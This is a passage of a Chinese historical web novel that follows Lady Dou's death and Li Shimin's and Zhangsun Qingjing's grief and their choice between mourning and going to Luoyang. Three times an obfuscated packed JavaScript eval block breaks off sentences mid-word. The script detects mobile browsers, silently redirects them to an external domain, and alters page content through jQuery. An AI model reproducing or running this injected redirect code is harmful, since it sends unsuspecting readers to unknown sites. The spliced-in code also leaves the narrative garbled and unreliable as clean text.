猩红的血点溅落在被褥上,变得暗沉狰狞。窦夫人喘息着,带着剧烈的痉挛。 她有时做着手势示意婢女靠近,但是马上又摆摆手打发她们离开;她有时死盯着小案上的那一壶沉香饮,但是当长孙青璟取汤匙将这浓香的汁水碰触她的嘴唇时,五味俱失的窦夫人又摇头将唇移开;她那鹰隼般敏锐的听觉丧失殆尽,哪怕婢女们因为慌乱而将怀中添香的熏球掉落在地板上,窦夫人的眼珠也毫无反应。 快到正午的时候,她认出了坐在她身侧的丈夫。窦夫人勉强挤出一丝微笑。举起手掌,示意着镜台的方向,满眼的希冀与渴求。 李渊有些不明所以,只是凭着直觉机械地去搀扶妻子。 “阿耶,阿娘要梳妆!”长孙青璟与几个婢女敏锐地捕捉到了窦夫人充满自尊的、逞强的细节。便将镜台移至病榻前。大家一边垂泪,一边为窦夫人梳理端庄的云朵髻。窦夫人尽量为和儿女最后的相见攒聚更多的力气,能用手势表示的意思绝不多言一个字。 “铅粉、胭脂无须太浓?”长孙青璟试图解答出窦夫人艰难地在空中画出的模棱两可的符号。 窦夫人欣慰地点头。 婢女开始熟练地为主母涂抹铅粉、晕染腮红、注唇。长孙青璟手持铜镜,寸步不离地跪坐在窦夫人身前。恰到好处的妆面暂时掩盖了枯槁的气息,只是暂时。 铜镜中的芳华转瞬即逝,然后随着眼神的黯淡陷入一片死寂之中。 “甚好,与夫人年轻时一般无二。”李渊言不由衷地夸赞着。 梳妆既毕,窦夫人又缓缓向后倒下。李渊将一条手臂枕在窦夫人脑后,令她放心妆容与鬓发不乱,便一直保持着这样的姿势不变。 长孙青璟初入国公府,既无意也无资格干预唐国公夫妇之间的琐事。但她以稚嫩的阅历判断,他们之间确乎存在着超越粗浅男女之情的牵绊。 窦夫人有过少女的虚荣,有过对丈夫的期待,甚至有过对年轻国公滴水不漏的利用。 李渊有过少年的自负,有过唾手可得的远大前程,有过屏雀中选后众星拱月的迷乱。 他们是扎进彼此肌肤腠理的棘刺,初时刺得越深便越觉得安稳,仿佛那本是自己身体的一部分。 直到某一天,其中一人突然尝试着摆脱这些外物,才发现将自己撕扯得遍体鳞伤,只剩下一片模糊的血肉。 他想必喜爱过她的刚毅聪慧,也憎恶过她的急功近利。 她想必也喜爱过他的从容倜傥,也憎恶过他的优柔寡断。 而今,他们决意为那株牵扯甚广的棘刺、拥有了自身意志的棘刺言和。 长孙青璟听到了门栓落下的声音,带着冰块裂解的冷冽味道。犬吠,马鸣,人群的响动接踵而至。 李建成、独孤璀、李元吉、李智云,李琼曦、李陇月、李承宗等儿孙众人就在长孙青璟面前鱼贯而入。 这里所有的人,哪怕是最为生疏的李智云,最为年幼的长孙纫佩,与窦夫人相处的时间都胜于她,与窦夫人的情感也甚于她。她决意将榻前最后陪伴的位置让给那些与病人血脉相连的人。 长孙青璟谦卑地后退,李建成夫妇填补了这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073649|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空位,其余子女也围拢上来。 “阿娘!” “祖母!” …… “先不要急着哭泣,听我把话说完。”窦夫人回转头,半边脸朝向诸位子女,伸出期待的臂膀。 所有的人克制着悲伤,唯恐被刚毅的母亲责备。 “毗沙门。”这个期待了许久的妇人终于和自己的第一个孩子说上了遗言,“我去之后,孝事父亲,抚爱诸弟。处事当果断,家人勿生嫌隙。” “是,母亲。”她的长子已经泣不成声。 “三胡,智云,你二人凡事多听父兄训诲。——三胡,你为人焦躁,不可肆意妄为,恃强凌弱;智云,你精于骑射,日后当为父兄助力。” “是。”两位幼子也膝行至母亲病榻前承诺。 “三娘,日后若父亲与诸兄弟有难,你千万不要置身事外。” “那是自然,阿娘何须忧虑。”李琼曦利落答应。 “四娘,人生无常。你对孝政的感情有目共睹。我和你公婆本不想现在夺你之志,只是我病重至此,也不得不劝。答应母亲,择机另觅佳偶,重梳蝉鬓,勿负青春。” “是,阿娘。”李陇月哽咽着答应。 “毘提诃呢?明明是他把你们一个个叫过来的,他人呢?”窦夫人喊了几声次子,屋中却无响动。她失望地垂下手臂,喘咳许久后,陷入了一阵神昏谵语之中。 “舅父,甥女无能……” “阿耶,阿娘,你们在外面吗?” “玄霸,你为什么不等阿娘回长安,就独自离去……” “毘提诃,世民,你去哪里了?阿娘还有很多话要与你说。” 长孙青璟也觉怪异,便起身,拨开人群,前去找寻李世民。可巧正与同样匆忙焦灼的丈夫撞了个满怀。 “你受伤了!”长孙青璟压低声音,伸手抚摸李世民额上的伤口,“你摔马了?腿脚无妨吧?” 李世民捉住长孙青璟温热纤细的手指,将它们移在一边:“无妨,一点小伤,是我自己大意了。” “去看看阿娘吧。”长孙青璟让出道来。李世民的手中,握着一根柳条——闪着与这个季节不相称的绿。 仿佛心有灵犀般的,窦夫人在听到屋外响动后,慢慢地从幻觉中清醒。 “叔德,你替我好好照顾孩子们。” “夫人放心……”李渊的手臂已经被妻子枕得麻木,但是丝毫没有放松的意思。 “叔德,我不能再陪伴你游宦了……” 李渊哽咽着不能言语。 “你们都靠近我,让我再好好看一眼。”窦夫人的神色是平静的,带着一点最后的留恋与希望。 儿女们围拢上来。 “毘提诃,你回来了吗?” “阿娘,我在!”李世民跪在母亲病榻前,握住窦夫人的手,将鲜绿的柳枝放进她手中,“阿娘宽心,武皇帝已知母亲心意——这是从孝陵折下的柳条。” 窦夫人面露欣慰的笑容,将舅父最后的祝福藏在衣袂间。人生中那些繁复的、急促的、激越的曲调已经变得简单、缓慢、柔和。风穿烟柳的天籁在她心中细细回响。她奋力伸出两条臂膀,攥紧了次子与丈夫的手。 “勉之,李氏应在图谶,静待其变,大事可成……”她是多么希望预言成真啊!两个深爱她的、也被她寄予厚望的男人泪如雨下。 李建成一家相互倚靠在一起。李陇月将额抵在长孙青璟肩上,低低啜泣,长孙青璟揽住这位温柔的寡姊的后背,害怕她会因为悲恸而突然昏厥。 她的另一只手掌与李琼曦沁出细密汗珠的手掌交握,彼此支撑,微微颤抖,对抗着摧心折神的巨大伤痛。 大限已至。 窦夫人再次将目光移向凤栖梧桐的屏风。 “毘提诃,母亲希望你走得快一点,把我们谈论过的、徒有虚名的英雄都甩在身后。” “好。” 她低低抽噎,眼泪差不多已经流尽,抚摸着儿子凌乱的头发,语无伦次:“母亲再求你走慢一点,不要抛弃你的父亲和兄长。” “好。”李世民又一次郑重地承诺。 “我见到父亲、母亲,舅父、舅母来接我了。大德也在等我——他终于不再孤独一人。” 窦夫人手执李世民在周孝陵采摘的柳条,置于胸口,仿佛那是引导她走向家人的圣物。 “天,那么高,那么蓝,可惜我再也触碰不到。”窦夫人的手悬停在空中,死亡一时也不可夺走其志。 一丝一缕的光,被云层筛选,在清透的空气中凝成了希冀的颜色;然后是一道道的、一束束的光,冲破了彤云的阻隔,投射到山间、林间直至这个不得不与命运和解的国公夫人身上。 可惜,她再也看不到了…… 45. 执拗 李世民手执母亲生前最爱的大袖衫跃上屋顶。 中天的太阳在与彤云的拉扯中现出了狮子的形状。每一缕红色的鬃毛都带着呼吸,带着火焰,奔涌着扑面而来。 长孙青璟只觉得窦夫人的裙摆所到之处蜿蜒披拂,激荡闪烁,那是亮金镶边的红,倔强的,涅槃的,永生的颜色。 年轻的郎君坚信母亲暂时迷路的灵魂会延着最后一道霞光找到招魂幡,归于家园与丈夫儿女团聚。 他捧着母亲的衣物,几乎是摔下或滚下梯子,倒在一堆未被沾染玷污的残雪之中。 “毘提诃!”长孙青璟快步跑到李世民身旁,跪在地上,企图将他拽起来。 “打起精神,你需得送阿娘最后一程啊!” 李世民挣扎着将母亲的衣物举向高处,仿佛那里装着一个易碎的魂魄。 他眼底的迷惘与悲恸平分秋色。 “她回来了。她不甘心。”他指着长孙青璟的耳畔,远方赤焰如燃烧的鬃毛,雄烈而逼人,光彻天际。 这狮首状的残阳似乎发出悲鸣,号呼着落入群山之后,只留下坟茔般惨淡的山峦。 “以后我该怎么办?”严寒,冰冻和绝望笼罩了这个温暖,炽热和乐观的年轻人的面庞。倏忽之间,他将脸埋进还带着熟悉香料味的衣物中,像个无助的婴儿,任涕泗横流。 “起来,你先起来!”长孙青璟的声音轻柔而坚毅。她默默地跪坐在这个失魂落魄的少年身边。她可以等待,等他自己解开郁结的心。 招魂已毕,亲人们已经陆续离开中庭,重新聚在窦夫人寝室之中。 但是按照礼法,这些与窦夫人最亲近的人却只能隔着屏风与自己的妻子,母亲,祖母两两相望,不可以逾越这短短几步之遥的距离,不可以以伤心为由窥视死者的身体。 贴身的婢女开始为刚去世的主母擦拭身体,换上命妇冠服。寝室内外传来低低的呜咽声,继而是几声嚎啕,然后是滞塞在寒风与冰冻之间的或成片的,或断续的悲泣。 长孙青璟想起那个从叔父家出逃到龙首原的午后。她孤独无措,走投无路,空有义不相弃的壮志却害怕舅父再次把她送回她不愿意依附的宗族那里。 在进退维谷之间,是她面前这个虚弱的,痛哭流涕的少年施以援手,带她逃离那些寒风与无措。 她又何惧做他身后的墙! 长孙青璟靠近了李世民,捧住他脸颊两侧,将他从过去的混乱思绪中拉出来。 “好了,母亲的魂魄现在回来了,你去陪陪她。”她柔声地安慰道。 然后,长孙青璟尝试着从李世民手中抽走窦夫人的衣物。他颤抖着,将那一团揉得褶皱无比的红色攥得更紧,仿佛那是沟通阴阳的最后希冀,仿佛那也是自己灵魂安放之处。 两人就这样对峙了许久。悲痛、疑惑、恼怒、不舍次第在李世民的眉间滑过,而长孙青璟是一如既往地坚决。 倔强的少年终于妥协了,他松开那些泛白的骨节,任长孙青璟取走为母亲招魂的遗物。 当最后一片红色的布帛在他手掌中游走时,他的眼泪又一次涌了出来,却抑制住了想去夺回的冲动。 联结母子的第二根脐带就这样被截断了,无奈,莽撞,不近人情,却不得不为之。 长孙青璟抬头,望着寝室中等待亡妻亡母最后一次穿戴衣冠的众人,无意中撞上了三娘的眼神。那个忧伤坚毅的眼神中不乏对长孙青璟处事的惊异与理解。 就连长孙青璟本人也诧异于自己的勇气,她做好了被嫌恶、被痛恨、被指摘的所有准备——然而,她就这样轻巧巧地,几乎不费力地从执拗暴烈的丈夫手中夺走了虚妄的幻影。 “让阿娘安心去吧。”长孙青璟搀扶起李世民。她为他重新束好幞头,掸去脸上的尘土与血迹,将他的臂膀环过自己的脖子,牢牢按在自己肩头,“站起来,我们一起去阿娘那里。” 李世民瞥了长孙青璟一眼。相对于自己,眼前的女孩几乎矮了一头。因为繁琐的吉礼和对病人的照料,她比婚前更加瘦削。在寒风的刺激下,她的脸颊几乎是接近玉石的透亮,玉石里涌动着红色的血管,很细,却真切地听到汩汩的声响。 她不是那种娇憨无助、任人摆布的柔弱女子;更非凶悍无度、不明事理的刁泼妇人——无法定义,无法方比。 她的声音不高昂,不尖利,却有着不可置喙的力量。 李世民点头,顺从地站起身。他今日的慌乱与失亲之痛到达了极点,行事未免颠倒错乱。 两次摔伤,其实未曾伤得筋骨,只是将以往的张扬与自信一时丢弃了。 所有目击这一幕的主仆都有一种置身于怪诞之中——高大魁梧的少年斜斜地倚靠在纤弱瘦削的少女肩头,一步一瘸地向灵魂归于躯壳的母亲走去。 设床、沐浴、更衣、饭含、小殓,大殓……没有节制的忙碌确实可以麻痹悲痛的神经。 在报丧的同时,一家人扶窦夫人的灵柩回到大兴城。 李世民的眼前是一片刺眼的、狞亮的白色,返回大兴的途中,他下意识地以手障目,余光不经意触及的地方,似乎有一抹平静而又坚毅的青绿色,也许来自幻想,也许来自长孙青璟所在的方向。 大兴城的唐国府,正堂的灵柩前竖起九尺铭旌,白色的丝帛在凛冽的风中颤抖。 连续多日,长孙青璟陪伴着李世民跪坐在一片灼目的白色中。她无能为力地看着丈夫昏倒在灵柩前。 李世民在一檠明灭的烛光中惊醒。 “我在哪里?”他揉着嗡嗡作响的脑袋,里面有无数的回响叫嚣着,将要冲破血肉的躯壳。 “也许挂在悬崖上,也许落到了谷底。”长孙青璟疑惑地望着他,有些担忧,“母亲到家了,你我也到家了。你方才守灵时昏倒了。本来我就陪着你,后来见你噩梦里大喊大叫,就把你推醒了。” 看到长孙青璟头梳丧髻,身着斩衰,李世民意识到自己在昏迷的梦境里说了胡话。 “我猜测你的魂魄方才追着母亲的魂魄跑了很远,又被她赶回来了。”长孙青璟善解人意地说道。 李世民认真地回想起那些昏迷濒死时地往事,那些诡异的事情明明只是幻境,却真切得不容置喙。 “我记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“正巧你醒了。我查看一下你的脚伤和腿伤。”长孙青璟将金创药放在一边,翻卷起久伤未愈、浸渍了鲜血的裤管,褪下足衣,细细清理旧伤与新的溃烂。 她有些庆幸地说道:“还好无大碍!” 长孙青璟将李世民的伤口重新包扎好,推心置腹地说道:“中使与陈国公来过府上了,只可惜母亲这次看不到了。” “洛阳那边有什么消息?”李世民猛醒过来,想起了母亲临终前还在担心父亲的升迁。 “主上任命父亲为右骁卫将军——可惜消息来得迟了些。”在长孙青璟的意识中,“右骁卫将军”是专属于自己父亲的官职与荣耀,这种荣耀突然转移到另一个新的亲人身上,总让她觉得有些不自在。 “我父亲穷尽半生,才堪堪与你父亲比肩,你不要笑话他半生庸碌……”李世民发现自己越是想证明父亲不输长孙晟,越是底气不足;如果索性承认父亲志大才疏,又心有不甘。 “两位大人的际遇完全不同,没法相提并论。母亲的期待成真,你应当高兴才是。”长孙青璟结束了关于父亲们的话题。 “是啊,可惜母亲多年陪伴父亲辗转游宦,正当他大展宏图之际却撒手西去。”李世民沉默了半晌,问道,“那母亲的丧事怎么办?” 长孙青璟并不正面回答,只是陈述事实:“中使与陈国公是一前一后达到的,皇帝皇后也知晓了母亲病亡的消息。他们宣布了敕令,代表帝后向父亲致哀……” “那又与我何干?”为悲伤所累的年轻人依旧沉浸在关于倚庐的臆想之中。 灯檠上的烛火像受到了蛊惑似的剧烈抖动起来,几颗星火溅落到案上的佛经上。 46. 抉择 “结庐也不是不行。”长孙青璟执起新抄的佛经,吹了一口气,希冀墨迹干涸快些,然后轻轻卷好。 “既然你志向坚定,那母亲落葬之后,我白日陪着你在庐中思念母亲,暮夜回府誊抄佛经避嫌?”长孙青璟的语调波澜不惊,恳切中带着一丝天真。 李世民假想中的争论并没有发生。长孙青璟既不劝他保重身体,也不劝他以大局为重同去洛阳,只是决意用陪伴与抄经默默支持他的偏执计划,这让刚打起精神准备与之舌战的李世民大感意外。 他听出她心中有所遗憾,却还是努力体恤他的丧母之痛与仁孝之心。 他本不该有欣喜之情的,但是他又深感母亲并不会因这份情愫怪罪他。 “还有比这更好的缅怀亡母的方式吗?”李世民试探着问道,语气里却透出些不易察觉的胆怯。 他想起了噩梦中的幻境,想起幻境中母亲对他任性的责备,想起将他强行留在崖壁上的脆弱的绿枝……他突然间觉得应该听听眼前这个女孩对未来的见解。 “从目之所及的角度,我确实找不到比在墓前结庐居丧更好的悼念方法。”长孙青璟靠近灯檠,执起剪刀挑断一截灯芯,迸溅的火光与烛泪消歇了。晦暗的光线勾勒出少女伏案抄经的娴雅剪影。 “我方才偷听父亲与陈国公密谈了……”帘帷上的身影颤动了一下。 “那么……”李世民面对这突如其来的坦诚,一时语塞。 长孙青璟放下笔墨,缓步到榻边,一手支起左腮,平静地问道:“他们的密谈与你有关,与阖府安危有关,你不好奇吗?” “你尽管说,我听着……”李世民局促地说道,并不介意琢磨一下父亲与舅父的隐秘。 “这次对父亲的任命,除了皇帝纸面的敕令,还有一道令人玩味的口谕——自初冬陛下自洛阳、唐公自陇右返京,表兄弟难得相见,又因国事一别数月,皇帝皇后思念唐公夫妇不已,本欲上元节邀请贤伉俪一聚,不料夫人仙逝,帝后痛惜。愿唐公以国事为重,勿哀毁过礼。” 长孙青璟回忆着全家接旨时的每一个细节,思索了片刻继续说道:“之前我所记得的这些不过是主上寒暄客套之语,当然,有些贵戚欲陛下寒暄客套一番尚不可得。国公丧妻,帝后同时慰勉国公,在外人看来也是荣宠有加……” “那么这次皇帝陛下需要李家用什么代价去换取这份荣宠呢?”李世民抑制住自己冷笑的冲动。 “陛下的威严躯壳下大概住着一个十五岁的任性郎君。”长孙青璟突然想起了长孙无忌曾经一句短评,她觉得这话恰如其分又好笑,便忍不住冲口而出,“觉得全天下臣民都要对他的仁慈感恩戴德、衔草结环以报。” “没看出来你如此惠辩!我不怕被陛下云台走马一样的奇思妙想吓到。你告诉我,我父亲需要以怎样的忠诚换取主上的恩宠与信任呢?” 李世民对今上异于常人的逸想狂慧了然于心——事已至此,他深感此刻的心情不可能变得更坏了。 “陛下口谕里还说,他不但思念唐公,还牵挂唐公爱子……希望能在洛阳与唐公父子相见。” 李世民平静的神色中泛起一丝微澜:“这事于情于理说不通。君子丁忧,金革无避。国事重于父母是常理,重于夫妻情义也在情理之中,忠义重于孝道重于儿女私情,所以陛下令父亲为母亲举行完丧礼之后即可奔赴东都,尚且说得过去。可是,白身的人子岂有不为母居丧的道理。况且照着陛下的筹划,父亲不日宿卫紫微宫,就在陛下眼皮子底下。陛下难道还会害怕父亲心生异志?用人不疑,疑人不用——陛下已经用过一次试探的把戏,难道今次又要故技重施,将儿子束缚于近前来挟制父亲吗?这伎俩真是望之不似……不似……太小家子气了。” “如果是无人可用又不得不将信将疑地启用父亲呢?”长孙青璟狡黠地问道,“如果右骁卫将军一职是一种荣誉与试探呢?如果通过了试探也许就是一片坦途,通不过便是阖家万劫不复呢?” “这话令人头皮发麻。你到底偷听到我父亲与舅父说了些什么言语?”李世民警觉地问道。 长孙青璟缓缓道来:“父亲与舅父也正为主上的反复无常而迟疑担心。不过舅父说,他确实也私下向宇文驸马打探了陛下的深意……” “哪个宇文驸马?”李世民忍不住插嘴道。 “许国公次子,南阳公主的驸马宇文士及……你跟他不是很熟络吗?为什么说出这么怪异的言辞?”长孙青璟有些诧异于丈夫的奇怪质询,她禁不住凑近李世民,“你脸色不太好。” 李世民刻意避开了长孙青璟伸向他额头的手指,目光闪烁不定:“既然是他说的,那定然是肺腑之言了。” “难道你另有熟识的宇文驸马?”长孙青璟好奇地问道。 “不熟,只是有些龃龉……”李世民一时不知道该如何向长孙青璟解释自己是怎么跟一群猪狗有所交集的。 “那——是——怎样的——龃龉?” 李世民挠了挠头,迟疑了片刻:“我在洛阳紫薇城的时候,某次宴会时同宇文皛动了几下拳脚——就是你见舅姑那日大家嘲笑我的那些事……” “宴会?原来你在洛阳过得没有书信上写得那么郁郁寡欢嘛!亏得我为你……”长孙青璟本想如实说自己曾为了书信里那些抑郁愤懑的真情感染而落泪,但是又显得矫揉造作,便平淡地说道,“——为你担心了许久。那么后来,是你独自将这祸事平息了?” “我没有——这本也算不上什么祸事,只是机缘巧合,偶然想起罢了。你不要胡思乱想,紫微宫里种种违背本心、曲意逢迎所为,我也是有苦衷的。我那时真的很想念父母兄弟,想念无忌,也想念你。” 长孙青璟觉得他言辞也还算恳切。她虽然幼年失怙,言行谨慎,但多少也带了些养父潇洒倜傥的林下风致,所以对于对于李世民的“苦衷”,她选择了相信;对于自己在李世民心中的序位,她也无甚介意。 “好吧,那我问你,你从来没说过这些事,是因为打输了吗?说来听听!” “我当然没输!”虽然他胜之不武,但是宇文皛也罪有应得——所以李世民的回答格外理直气壮,甚至还带着些愤愤不平。眼前的女子居然质疑起丈夫是否骁勇,乃至怀疑自己与人斗武时处于下风,着实可气 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面对李世民直视的眼神,长孙青璟有些不自在。她低头沉吟片刻,又抬头瞥了李世民一眼,微启的嘴唇开阖数下,继而吐出无奈又责备的言辞:“——你这人真促狭!都是因为你存心打岔,我忘了方才说到哪里了!” 李世民一时无言以对。他刚想为自己辩解几句,但念及长孙青璟嫌弃自己总是打断他,便缄默不语。 想到小妻子陪着自己不食不饮,脑力体力也已经耗尽,他也实在没有理由再去揶揄这个对他不离不弃的女孩。 好在那只是一个普通的牢骚。长孙青璟的眼珠子焕发出调皮的光影,俏皮而狡黠。满涨的脸颊缓缓平复下去。 “哼!我记起来了。舅父是这么转述宇文士及的意思的:山西、河东群盗蜂起,圣上亟需一位能够力挽狂澜又绝对忠于自己的大臣剿灭盗匪。此人既有事急从权之能,又有不拥兵自重之德,既德高望重,又不损伤天颜——” 李世民也学着她“哼”了一声道,“那我只有劝陛下求求寺庙宫观中的神佛们,看他们能否替陛下将这脏活累活干了——不对,神佛也需受人间供养才护佑主上呢!” “估计主上自己也不敢相信能拥有这样的贤臣,所以只得退而求其次,试探一下父亲的忠心,行父亲安抚陇右时扣押一位公子在陛下身边的故事,再作布局……”这个十三四岁的女孩子煞有介事地分析起年近五旬皇帝的古怪、偏执心态。 “如若陛下认为父亲剿匪不力,这位公子便是弃子;如若陛下怀疑父亲有异志,这位公子也是弃子——主上怎好如此要挟国之重臣!” 长孙青璟点点头,心中也是纷乱困惑。 “我知道,此时此刻,你更想多陪伴母亲;而阖府上下确实需要一个能独当一面的人去陛下身边当棋子。父亲与舅父并不忍拂你一片赤诚仁孝之心。你与大哥,一个爱子,一个世子,究竟谁同去洛阳,谁为母守丧,他们一时委决不下,十分为难!” “观音婢,你怎么想?你想要我选哪一样?” 两个孩子条分缕析眼前困境的认真模样,不像恋人,不像夫妻,反而更像主君与他最信任的谋士。 47. 两难 长孙青璟并未随口说出自己所期待的、丈夫心中也许早已想好的答案:“你想建倚庐,我陪你守着母亲;你想去洛阳,我就陪着你一道去紫微宫的大棋盘上走一遭。” 李世民思索了许久,并非挣扎在恐惧与责任之中,而只是单纯地在难舍的亲情、世俗的道义与诡谲的现实之间做着艰难的抉择。 “观音婢,我想好了,我陪着父亲去洛阳赴任。如果陛下对新的任命有疑虑,我便主动留在他身边换得父亲去山西河东一展拳脚。” 李世民伸手攥紧长孙青璟的指尖,仿佛这样才能获取勇气与肯定。 “母亲果然没有看错人!”长孙青璟赞许地说道。她将被握住的手指向后瑟缩了一下,却没能抽离李世民的掌心。 她羞赧地低下头:“先前我只是觉得奇怪,为何母亲临终将父兄托付于你?还腹诽母亲是否糊涂了?——反过来将你托付给父兄才是正理。如今看来,是我太肤浅了……” 长孙青璟言辞恳切不加掩饰,但是这番自我剖析在李世民心中已经胜过无数溢美之词。 “父亲处事圆滑却失之优柔,大哥为人稳重却罕有决断。论临机制变,还是我略胜一筹。母亲若在世,一定也会这么安排。”李世民成竹在胸,甚至忘记了本应在新婚妻子面前略微掩饰一下父兄性格中的瑕疵。 虽说他本不必这样直白,但是他相信自己的存在的意义之一就是弥补这些父兄天性之中的罅隙。 所以,向妻子坦承亲人的弱点也不算是什么丢人现眼的事情,也许反而会令她更快融入这个家。 “我手疼……”长孙青璟嗫嚅着说。 “哦。”李世民方才一时激动,高谈阔论之下将长孙青璟的手捏得更紧,此时才如梦初醒地松开了钳制的手掌。他一脸歉意地说道:“我知道背后臧否父兄甚是覆窠,但你不是外人——现在,我只是担心你。” 长孙青璟一脸愕然,眼眸深处有跳跃着火焰。不停收放的手指停滞在半空,心中的柔情压过了指尖的僵硬麻木。 “我在想,母亲落葬之后,我便陪父亲同去洛阳——这个决定不会再改变了,我不能让父亲独自面对圣上的刁难与猜忌。过去有母亲为他出谋划策,如今只剩下一个勉强能倚仗的次子了。” 李世民想起了周孝陵的盘旋的寒风,窦氏多年虔诚又隐匿的祷告,想起父亲郁郁不得志的前半生,想起凛冬里奇异的绿柳,想起关于李姓的谶纬。 少年的心胸一时被叵测的未来与新生的希望填满。 “你便留在我兄嫂身边协助料理余下杂事。待得万事稳妥,我再接你完聚可好?”李世民认为自己的安排万无一失,只待长孙青璟点头应允。若是她因不舍与担忧而垂泪,他也少不得设法哄她安心。 “不好!”长孙青璟毫不迟疑地回答,眼中的火焰跳动了数下,带着不服输的情绪,甚至——有一点挑衅的意味。 “你说什么?” “我说过了,你若去洛阳,我也同去!——这世间本也没有十拿九稳的事情。你若涉险,我怎好在千里外若无其事地旁观。” “我去洛阳市因为天意难违背,因为母亲临终的嘱托,因为照顾父亲,因为需要防备陛下的猜忌,因为……”他有些调皮地解释道,“万一事有不虞,我腿脚比较快,一定能从紫微宫、从洛阳城里跑出来!你又有什么必须随我同行的理由?” 长孙青璟下意识地摩挲了一下丧髻,手指滑过粗糙的麻线,又回落到膝头。 “我脑子还算好使,万一你遇到不测,总须有帮手替你传递消息,与你一道谋划如何逃命;至于逃跑的腿脚之快,你也不是没领教过——大概,就只比你跑得慢一点点!” 长孙青璟说到激越之处,禁不住拍打李世民的膝盖,“说实话,我逃跑的速度也未必比你慢,只不过我从叔父家出逃之日不幸被你猜中了去处——不然,若我真心想要悄无声息逃出大兴城,你也未必寻得着我!” 长孙青璟自信这一番辩驳能令李世民消解疑虑,携自己同去洛阳。虽然多少有些自吹自擂的嫌疑,关切之情却未曾饰伪。 她作出这番决定倒也单纯:既然有一个少年在她养父一家最为窘迫困顿之时施以援手,既然他的父母兄弟对这门仓促婚事并无异议,她便自然而然地将自己视为这个家庭的一部分,休戚荣辱与共——哪怕他们应在图谶,哪怕他们心生异志,哪怕他们吵嚷争执、优柔寡断、各怀鬼胎,他们仍然是这个茫茫天地间唯一一个毫无芥蒂地接纳她这个孤女的家族。 这就足够了! 甚至,哪怕他们之间甚少有男女之情,她也依然愿意去融入这个吵闹又坚韧的家庭。 长孙青璟也许会因为一场婚姻而成为某个家族身份上的一份子,但是决计不会轻易成为这个家族精神上的一份子。李家的喧闹、尴尬、涌动的暗流、交织的心机、同心断金的意志让她感觉熟悉、温暖、有趣而又勃发,虽不完美但足够可亲,令她忍不住想要靠近这些迥异又相似的灵魂。 “观音婢,你确实足够聪慧。”李世民收敛起平日爱说笑的性情,平静地肯定着,“我很感激你在我母亲弥留时的照料,她一定在你身上看到了自己年轻时的影子。也许——也许你是她墨守成规又心有不甘的岁月里最后的慰藉……” 说起母亲,情绪才从昏迷中缓和过来的年轻人竟然又唏唏嘘嘘地流下了眼泪。他一时无法自制,任泪如雨下也不愿意整理一下恣肆的悲伤。 “母亲临终前最不舍的是你,最令她骄傲的也是你,你所说的最后的慰藉是你自己,不是我!”长孙青璟凑近李世民,右手搭上他的肩头,“勉之,抓住命运的每一次契机,放手一搏,站在母亲向往的高处,去触摸她不曾触摸的苍穹。” 去登顶,去听山风,去看日晕,把孝陵的柳枝扦插在你所能到达的最高的地方!那样的未来当得起一百座倚庐,当得起半生与亡母相伴的赤子之心。——长孙青璟在心中默念。 “不要辜负母亲,你是他最爱的孩子——不仅最爱,也是最信任的儿子。”长孙青璟大多数时间会把“重”放于“爱”之前,她一贯认为因重视与信任而生发的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095740|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱意最为牢固,不论双方是亲人、友人或者恋人。 “她把父亲和兄长都托付给你呢!——碍于父兄的面子,母亲不能直说你也要学着支撑门户。”长孙青璟觉得李世民也不是不明白这个道理,只不过被忧伤蒙蔽了内心。 她的手掌沿着他因抽噎而起伏的脊背滑落,粗粝的斩衰丧服如砂砾打磨、刺痛她的手掌,也刺痛她的心。 长孙青璟抽回手,又下意识地以自己在灯下莹白微汗的掌心覆盖住李世民攥紧的拳头。嶙峋的骨节在她纤柔的手掌纹路下颤抖,如隐忍伏地的乳虎,即将不受控制地冲破苍白的肌肤。 长孙青璟小心翼翼地悬空手掌,正在踌躇着是否替丈夫擦拭眼泪,她觉得自己笨拙得像一只瑟缩在檐下的雏燕,面对突如其来的风雨时变得手足无措。 她真的从来没有遇见过比自己还多愁善感的人,确切地说,是从来没遇到过比自己更能哭泣的人,尤其是此人还是同龄少年中的天然领导者。 “是我不好,不该惹你思念母亲的。”长孙青璟也记不清是自己哪句话哪个字眼触痛了或者引发了李世民摧心剖肝一般的伤痛,倘若她能提前知晓的话是决计不会有意去翻看那段百结愁肠的。 李世民却将她悬空的手掌按在自己被泪水濡湿的脸颊上,一脸无措地说道:“与你的言辞无关。母亲去了,往事就桩桩件件地从脑子里冒出来,浮在眼前,时而模糊,时而清晰。我不敢睡着,我害怕一旦睡着,醒来后就把这些往事全都忘却了……” 长孙青璟固然伤悲,但也不至于生出一系列出离于丧亲之痛以外的臆想。她被这种杞人忧天的情绪感染着,甚至觉得对于与母亲情笃的少年而言,丧亲之后任何的颠倒错乱的妄想都是可以被理解的。 她试图用手指抹除李世民眼眶周围未干的泪渍,未料李世民恸絶之下竟一头扎进她怀中,伏在她膝头哀哀哭泣,像一只返程时被暴雨淋湿的雏鹰,在岩壁下惊慌失措地等待未知的命运。而她,正是这一片凄迷天地间唯一的绿意与生机。抓住这唯一的绿意与生机是他唯一的选择。 